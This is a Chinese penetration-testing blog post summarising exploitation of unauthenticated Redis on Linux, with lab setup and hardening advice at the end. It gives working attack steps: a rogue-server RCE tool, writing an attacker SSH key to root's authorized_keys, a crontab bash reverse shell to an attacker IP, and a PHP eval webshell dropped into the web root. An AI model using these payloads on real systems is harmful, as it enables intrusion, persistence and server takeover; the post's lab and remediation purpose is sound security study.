redis未授权访问漏洞利用总结——linux篇

1、前言:

  redis未授权漏洞或弱口令一直是很有用的渗透突破口,最近遇到了redis相关的目标,因此做一个简单的收集,也方便自己日后的回顾。

 

2、Redis简介:

  redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

 

3、Redis常用命令:

set xz "Hacker"                           # 设置键xz的值为字符串Hacker
      get xz                              # 获取键xz的内容
      SET score 857                       # 设置键score的值为857
      INCR score                          # 使用INCR命令将score的值增加1
      GET score                           # 获取键score的内容
      keys *                              # 列出当前数据库中所有的键
      config set protected-mode no        # 关闭安全模式
      get anotherkey                      # 获取一个不存在的键的值
      config set dir /root/redis          # 设置保存目录
      config set dbfilename redis.rdb     # 设置保存文件名
      config get dir                      # 查看保存目录
      config get dbfilename               # 查看保存文件名
      save                                # 进行一次备份操作
      flushall                            # 删除所有数据
      del key                             # 删除键为key的数据
      slaveof ip port                 # 设置主从关系
      redis-cli -h ip -p 6379 -a passwd   # 外部连接

 

4、Redis基本操作:

1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello World"

 

5、Redis配置文件参数:

port参数:
    格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
    格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
    格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
        save 900 1
        save 300 10
        save 60 10000
    表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
    格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
    格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
    格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
    通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
    redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。 

 

6、redis未授权或者弱口令的利用:

  1)通过rce漏洞获取shell:

    实际上这里的主从复制getshell指的是Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

    环境搭建:

cd vulhub/redis/4-unacc/
docker-compose up -d

    漏洞利用:

利用工具:
    https://github.com/n0b0dyCN/redis-rogue-server

下载之后,cd进入RedisModulesSDK目录使用make编译,当然不想编译也可以用作者给出的默认exp.so也是可以的。

    两种交互方式:

      交互式shell:python3 redis-rogue-server.py --rhost 192.168.223.132 --lhost 10.72.180.46,根据提示输入i进入交互shell。

 

       反弹shell:python3 redis-rogue-server.py --rhost 192.168.223.132 --lhost 10.72.180.46,根据提示输入r,根据后续提示填入相应参数,即可获取到反弹的shell。

   2)写入ssh-keygen公钥登录服务器:

    环境搭建:

1、安装redis:
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz 
    tar -C /usr/local/ -xvzf redis-3.2.0.tar.gz 
    cd redis-3.2.0 
    make
2、修改配置文件并启动redis服务:
    vim redis.conf
        bind 127.0.0.1前面加上#号
        protected-mode设为no
    ./src/redis-server redis.conf
    
3、关闭防火墙并禁止开机启动:
    systemctl stop firewalld.service #停止firewall
    systemctl disable firewalld.service #禁止firewall开机启动

复现漏洞的时候必须把防火墙关掉,否则可能没有办法访问到redis服务

    利用条件:

1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

    详细步骤:

1、在攻击机生成一个公钥文件:
    cd /root/.ssh/        #如果.ssh不存在的话,创建.ssh文件夹。
    ssh-keygen -t rsa     #执行完命令然后回车三次就结束了。
    cat id_rsa.pub
2、未授权或者弱口令访问redis服务,并写入公钥:
    redis -h 192.168.223.132      登录redis服务
    config set dir /root/.ssh/    #设置保存路径
    config set dbfilename authorized_keys    #设置保存文件名
    set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdetfvTA3f2gkKLnyC8cRKNPmN54QlK1a+QFedlN3BzDAWR7BJmv5qMaXdwTa++upI1gHyOb50rNBSddeIbbbND3uQiNpzJOUaLxrITe6QvELc055Ya1NVcsWeGR/B42daBFua+aBQ0bTMvW6Ne3PiVcvoisSgHNKtFPu6mvV+LV9+r1w9nib/iQAba2u/YHf3bC2+SChs1dDdD4wPz4Qf2E4gWrxXWQIJzqDfuHWHjQkqoh/frSwdYp6PHPzToYWXaGDA/JMgMovokCtGNE9ovTMndkdS18nLkoYQowQFBpv7EJOnFBXj9KIsc2jOfytSie0YZjFt4Fj89+0UTetH4hdEqWg5oEELVVXVnjY3vhOcQFsBFgr1vV00tVmm1KVJ4nuJ0L2/xOBsFixr6LVspBWh/0EZDpTBoVVjDBj4QBZRzfo/kiv9jUYFE5olyoxABRHnPBGfw1bXS0IjiK6P7I1Egm1n77g0DMqwjCiLfY6UAznU7R9QN82NKyvAwGs= root@kali \n\n\n"    #将公钥写入x键,用"\n\n\n"包裹住公钥,并且跟公钥之间用空格隔开
    save    # 保存
3、用私钥进行登录:
    ssh -i id_rsa    第一次登陆需要输入yes

 

  3)利用crontab来执行命令反弹shell:

    环境搭建:用上面的环境即可。

    漏洞利用:

先在自己服务器上监听一个端口:
nc -lvnp 8080

然后创建一个新的命令行:
root@kali:~# redis-cli -h 192.168.223.132
192.168.223.132:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.223.135/8080 0>&1\n"
OK
192.168.223.132:6379> config set dir /var/spool/cron/
OK
192.168.223.132:6379> config set dbfilename root
OK
192.168.223.132:6379> save
OK

nc监听端口已经反弹回来shell(反弹回shell需要的时间比较久,大概几分钟的样子):

 

  4)写入webshell:

    当redis权限不高并且服务器开着web服务,redis有web目录的写权限。可以尝试往web路径下写入webshell。

root@kali:~# redis-cli -h 192.168.223.132
192.168.223.132:6379> config set dir /var/www/html/
OK
192.168.223.132:6379> config set dbfilename shell.php
OK
192.168.223.132:6379> set x "<?php eval(@$_POST['a']); ?>"
OK
192.168.223.132:6379> save
OK

 

7、修复建议:

1)禁止一些高危命令(重启redis才能生效)
    修改 redis.conf 文件,禁用远程修改 DB 文件地址
        rename-command FLUSHALL ""
        rename-command CONFIG ""
        rename-command EVAL ""
    或者通过修改redis.conf文件,改变这些高危命令的名称
        rename-command FLUSHALL "name1"
        rename-command CONFIG "name2"
        rename-command EVAL "name3"

2)以低权限运行 Redis 服务(重启redis才能生效)
    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
        groupadd -r redis && useradd -r -g redis redis

3)为 Redis 添加密码验证(重启redis才能生效)
    修改 redis.conf 文件,添加
        requirepass mypassword
        (注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

4)禁止外网访问 Redis(重启redis才能生效)
    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
        bind 127.0.0.1
    在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。

5)修改默认端口
    修改配置文件redis.conf文件
        Port 6379
    默认端口是6379,可以改变成其他端口(不要冲突就好)

6)保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
        chmod 400 ~/.ssh/authorized_keys
    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
        chattr +i ~/.ssh/authorized_keys
    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
        chattr +i ~/.ssh

7)设置防火墙策略
    如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

 

8、参考文章:

https://www.freebuf.com/articles/web/249238.html    Redis系列漏洞总结
    亮点:写ssh-keygen公钥,然后利用私钥来登录;主从复制getshell(其实不需要主从复制,利用工具即可拿下)、结合SSRF进行利用、redis写lua
https://www.cnblogs.com/-mo-/p/11487797.html    Redis未授权访问反弹shell
    亮点:往web路径真实路径写webshell。;利用计划任务执行命令反弹shell。
https://www.freebuf.com/column/158065.html
    植入挖矿木马、利用redis执行命令

 

 

 

  

posted @ 2020-12-07 18:13  夜尽终会天明  阅读(2124)  评论(0编辑  收藏  举报